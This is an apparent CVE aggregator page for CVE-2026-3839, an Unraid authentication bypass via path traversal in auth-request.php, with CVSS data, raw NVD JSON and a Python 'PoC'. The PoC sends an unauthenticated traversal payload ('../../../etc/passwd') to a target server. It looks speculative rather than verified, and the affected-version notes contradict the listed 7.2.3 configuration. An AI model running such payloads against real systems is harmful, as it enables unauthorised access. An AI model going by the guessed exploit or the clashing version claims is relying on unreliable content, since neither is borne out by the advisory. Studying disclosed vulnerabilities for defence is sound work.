Security Vulnerability Report
中文
CVE-2026-3839 CVSS 7.3 HIGH

CVE-2026-3839

Published: 2026-03-16 14:19:53
Last Modified: 2026-03-17 14:19:02

Description

Unraid Authentication Request Path Traversal Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Unraid. Authentication is not required to exploit this vulnerability. The specific flaw exists within the auth-request.php file. The issue results from the lack of proper validation of a user-supplied path prior to using it in authentications. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-28912.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:unraid:unraid:7.2.3:*:*:*:*:*:*:* - VULNERABLE
Unraid OS < 6.12.0 (需要官方确认具体修复版本)
Unraid OS 6.11.x 及更早版本可能受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-3839 Unraid Authentication Bypass PoC # Target: Unraid OS with vulnerable auth-request.php def exploit_unraid(target_url): """ Exploit for Unraid Authentication Bypass via Path Traversal in auth-request.php """ # Target URL for authentication request exploit_url = f"{target_url}/auth-request.php" # Path traversal payload to bypass authentication # Using ../../../etc/passwd or similar to traverse directories payload = { 'path': '../../../etc/passwd', 'op': 'auth' } try: # Send malicious request without authentication response = requests.post(exploit_url, data=payload, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200: print("[*] Potential authentication bypass detected") print("[*] Response snippet:") print(response.text[:500]) else: print("[-] Request failed or target not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://target-unraid-server" exploit_unraid(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3839", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:53.033", "lastModified": "2026-03-17T14:19:01.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unraid Authentication Request Path Traversal Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Unraid. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the auth-request.php file. The issue results from the lack of proper validation of a user-supplied path prior to using it in authentications. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-28912."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autenticación por salto de ruta en la solicitud de autenticación de Unraid. Esta vulnerabilidad permite a atacantes remotos omitir la autenticación en instalaciones afectadas de Unraid. La autenticación no es necesaria para explotar esta vulnerabilidad.\n\nLa falla específica existe en el archivo auth-request.php. El problema se debe a la falta de validación adecuada de una ruta proporcionada por el usuario antes de usarla en las autenticaciones. Un atacante puede aprovechar esta vulnerabilidad para omitir la autenticación en el sistema. Fue ZDI-CAN-28912."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:unraid:unraid:7.2.3:*:*:*:*:*:*:*", "matchCriteriaId": "D95356E9-EA87-443B-938B-89188AAB478B"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-172/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}